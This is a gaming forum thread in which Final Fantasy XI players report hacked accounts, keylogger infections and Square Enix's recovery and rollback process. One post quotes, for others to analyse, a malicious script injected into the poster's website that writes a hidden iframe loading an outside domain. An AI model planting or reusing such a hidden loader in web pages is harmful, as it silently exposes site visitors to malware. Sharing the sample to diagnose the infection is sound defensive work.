Attention players with Compromised Accounts

[ronin sparthos]

Hmmm, a friend had a problem 2 years ago, got his items dropped and the character deleted, SE said they could restore the character, but there was nothing that could bedone about the items, so my friend gave me his account so I could use for muling/2-boxing purpouses in his already 40ish mule.

A year ago I tried contacting SE and they said to me same thing about the character restoration but no items, what I'm coming to is, with all the recent changes to the policy about hacked accounts and stuff, might we have better luck this time around? Or 2 years is too late already?

Most likely they are going to say that 2years rolled back is too long and that nothing can be done. Initially they stated they could only go back 3months but after being flooded with people affected in November/December of 07, they sorta made an exception to the rules.

[Kyo]

Has been a week and a half since I put the account in rollback status, and no email yet ;/

[Transient_Dreamer]

I had a mule of mine hacked, right before the 1st of this month, it took exactly 22 days to get the email confirming account rollback.

Funny thing is that I logged in with the hacked char, puts you automatically into a GM queue, and when I complained about how long it took, I got it back the next day, coincidence or...

[Vigilia]

Scudley got himself back today!!! Email had arrived late last night after we went to bed, were gone all day today and just got home to happy news!!!!

He's back on Asura with everything intact except the few random bits of gear for his 60ish WAR he had put in his outbox the night before hacking to send to mule. We went through his bonanza marbles and he got a rank 3 on a mule which'll pay nicely to rebuy the leapers, Assault earring and few other misc. bits lost in delivery box. (I keep telling him to level PLD to 75 on it though, blonde taru PLD called Asterix would be too cute)

He was hacked on June 15th so took just under 3 weeks to recover everything, not too bad at all.

[Katouu]

Notary sent 2 weeks ago, account recovered 5 days later, rollback applied 11 days after notary. Exactly 1 month since hacked, by smart.dll. Everything is exactly as I left it, I was even at Behemoth's Dom and stuff... I'm so glad :3

[Sofo]

Hello I would like to share my experience (still in process).
When I quit and erased my character it all seemed fine but after some months and one day randomly checking ffxiah for the toon I noticed it had been selling items on AH (can't be possible someone stole the character since I changed the password before quitting on purpose).

Lately decided to come back (like some would say, no such thing as quitting FFXI) and started on monday the procedure to get back the property of the account, and afterwards I'll try to use the rollback procedure as well.

So far no good news yet, I could satisfy all the information they needed (even some information they didn't need but that was better to be given as well) and contacting Direct Chat again (I used this via, because phoning UK is not an option) they insist they're still carrying the investigation.

PD: I must say SEL Agent Christian is probably one of the best employees of SE I've encountered so far.

Nice to see happy non-ending stories around here. Good luck on people on the same situation~

[Saithorx]

I run a dynamis website that seems to have gotten a script added to it.

window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="UR")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("updngg=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = "updngg=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://gbradw.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}}

any ideas?

I did a whois.net search of them
http://whois.net/whois_new.cgi?d=gbradw&tld=com
http://whois.net/whois_new.cgi?d=butdrv&tld=com

seems like the 2 sites were just created today and my friend and i are still trying to find how they are inserting the script to the code.

[Sofo]

I would like some insight on this e-mail I received this morning from SE. For now it does look good, but I don't understand what will happen next. Here's the exact reply of the e-mail I've received (exceptuating personal information, of course).

************************************************** *****************
Account Investigation Result - Disciplinary Action Erased
************************************************** *****************
This mail is sent to those players who have reported their account as compromised. If you have no recollection of requesting this support, we apologise for any inconvenience this message may have caused, and ask that you please discard.


Dear Customer:

We would like to give you an update regarding the investigation of a compromised account.

We performed an investigation based on the information that was provided and we were able to find evidence of the PlayOnline ID being accessed by a third party. It has also been found that disciplinary action was taken during the period while the account was compromised. This disciplinary action has now been erased from your account record.

To prevent the account from being compromised, please keep the log-in information safe.

We appreciate your continued use of PlayOnline Services.

Play Online Information Centre
Telephone: +44 (0) 870 600 0182
Monday through Friday 0900-1800

--------------------------------
PlayOnline Game Master
--------------------------------

I assume the character was banned or something similar (stoped AH actions around January) and that's what they refer to the disciplinary action.
I am unsure as to what to do now. Should I contact via Direct Chat again or should I simply wait?
Thanks alot for any help, it is much appreciated. (I started the procedure on last Monday, so so far it's a quite quick recovery?)

[setzor]

I would like some insight on this e-mail I received this morning from SE. For now it does look good, but I don't understand what will happen next. Here's the exact reply of the e-mail I've received (exceptuating personal information, of course).



I assume the character was banned or something similar (stoped AH actions around January) and that's what they refer to the disciplinary action.
I am unsure as to what to do now. Should I contact via Direct Chat again or should I simply wait?
Thanks alot for any help, it is much appreciated. (I started the procedure on last Monday, so so far it's a quite quick recovery?)

call em! shit, that's the email alot of us from 7 months ago are still waiting on...
they're ready to give your account back...

[Sofo]

call em! shit, that's the email alot of us from 7 months ago are still waiting on...
they're ready to give your account back...

Contacted via Direct Chat and after the last investigations and confirmations got my account back. It was great!

The rollback can't take place though, because the compromising of the account happened before than 3 months back. I don't complain though, can buy basic equipment with the 900k left from the person who was playing me (almost only have R/ex items).

I also found the real address of the person in the membership section, which was somewhat unexpected.

Thanks for all the help, and GL on further attemps people!

[Fernando]

ewwwww after 7 months of waiting, got my account back yesterday !!!!

who hacked moved to another server: titan and changed the name >< Spykelail ftl ;_;

i'm so happy now, but, all my gils, lots of items and merits, yes, merits are gone

called GM ingame to game data restore, he said can take couple of weeks.

So, after that, i'll post results

Thx all!

[Bugpop]

My wife's account got hacked at the end of May but we got that straightened out. We took care of the trojan and reset the password. Just this morning it was hacked again.

She has not been accessing any of the known compromised sites

We use firefox with noscript. Our flash player is the latest version.

A friend of ours was hacked this morning as well. My wife is Elgiine on Fairy server and our friend is Keytra.

Edit: According to folks on allakhazam there seems to be some shenanigans going on with SE so maybe its not hacked.

[Baylin]

Most likely wasn't hacked, todays pol update has stopped passwords working

[Oziris]

July 16, 2008 sometime after 0300 PST
Someone kicked me from the game by logging into my account from a remote location.
The name of the malicious keylogger is: Infostealer.Gampass ; wzcsvbxm.dll
This is the same attack many others have had. I contacted SE immediately after finding out and had them freeze my account and they gave me a new Password. I logged in from a secure PC and confirmed the worst had happened. About ~60M worth of Equip and Gil gone. I called back to initiate the account recovery process. Hopefully I will get my account back within a few weeks.
I posted on the spybot search and destroy forums for some help. It's been almost four days now, we'll see if they can help me. There are two other posts with the exact same Dll file and those people also had their accounts hacked. If anyone has any helpfull information regarding this malware (wzcsvbxm.dll) please let me know. Thanks

P.S.: Do a search in google for wzcsvbxm.dll if you want to take a look at the spybot search & destroy forums.

[KlumsySmurf]

Oziris, any idea where you get the dll from? My friend that just got hacked thinks he got it from ffxiah or ffxiclopedia, since those are the only two game related sites he visited on the day he got the dll.

[Oziris]

From what I know and everything I have been reading about, it seems this was a large-scale undertaking with mass hackings over a longer period of time to gather a large pool of character account passwords. Once they had a large enough pool of accessable accounts they seemed to initiate a large scale account stealing operation over the first two weeks of July. All the people with this .dll on Spybot forums were attacked during that time and Geddeo and myself were also. I am sure there were others before that but it seems like they targeted a large attack during this time. I say this for a couple of reasons; one, all antivirus and spyware protection programs did not pick this up as a threat in any of the five hacking cases I researched into, and two, in my case, Symantec Antivirus only detected a threat after I had been hacked on Wednesday July 16 after updating to the newest (only three days newer than my previous) virus definition files.
When new malware hits the web, it usually takes a while before spyware and virus protection orginizations can find it and create definition files (immunization) for their programms. In other words, you can't fight something you don't know exists. This gives hackers a huge advantage. They can keep creating newer malware that is under the radar and exploit this weakness. I believe this was the case with the wzcsvbxm.dll malware because the antivirus and spyware programs did not detect a threat for a long time, sometimes weeks in some cases, and my Symmantec only detected it with the July 16th definition files.
The websites I had consistently used:
FFXIAH.com
ffxiclopedia.org
Allakhazam.com
on very rare occasions:
ffxi-atlas.com
somepage.com

I understand that somepage has had major problems with hacking, but I suspect that is not the only website I could have gotten this from. In my opinion, all of those five websites could be suspect at one point or another.

[Kanachan]

Finally got my account back, original hack date 12-14-07, E-mail 7-24-08 and a swift call to SE. 7 months 10 days, fucking finally.

Initiated rollback yesterday, was missing all kinds of shit, and they really did a lot of dicking around with merits.

Pretty funny... they tossed a bunch of stuff I can equip like War. cuisses +1, but they kept a lot of stuff I couldn't even wear like 4/5 smn relic and 3/5 mnk relic.... bastards.

Had a seemingly RMT shell on which was tossed with the quickness, and another shell which broke when I tried to equip it.

Had given up hope completely within the last week, good game SE, driving people to the brink of despair and then throwing out that life rope... GG indeed.

Edit: this is what I logged in to.

http://i17.photobucket.com/albums/b8...a18/return.jpg

[Gremlin37]

Hi, I have a question about the rollback for anyone that was hacked in the early hackings of Nov-Jan. I have read a few times in this thread that they can bend the rollback past 3 months, yet others post saying they could not get their gear back cause it was past 3 months... So my question is which is the truth? does it depend on the GM? How the investigation proves your story? Any info would be much appreciated.

Thanks!

~Gremlin~

[raginbull]

I have a question for anyone who was hacked. Exactly what info do SE require for them to be satisfied that you are the account owner? I have seen posts from people who claim they couldn't get their accounts back because they did not know some of this information.

[fishstix]

It's pretty much listed on the OP:

Just have the usual things ready with you before you call up.

-Member ID
-Name on the account (They may ask for handle names.)
-Date of Birth
-Full Address
-Playonline Registration Code (Please make sure you have this with you.)

Depending on how busy the higher ups are during the time you call, they may or may not forward you to one, but the rep/manager will ask you a few questions regarding your account such as:

-Name of your character and mules (Make sure they get the spelling correct.)
-Name of your original server
-Date and time you last logged in
-Date and time you were hacked/kicked off
-Last zone/area you were in right before you were hacked
-Your ISP (Internet Service Provider)

Also not included is the current and previous credit card #s. Those are the things you need ~at most~. Depending on how nice your customer rep is, determines just how much info you need. They'll ask for Member ID, Name, Date of Birth, Full Address, POL reg code, and current CC# at the least. If you have someone nice, you can get away with having everything but the POL reg code. I had lost my codes and one rep I talked to was a big by the book guy, like he was reading straight out of the book. Since I didn't have the codes, he asked for the current CC#, since it was compromised, he then asked for the previous CC#s that the account was billed to. I hung up after he couldn't help me and phoned again, got someone nicer.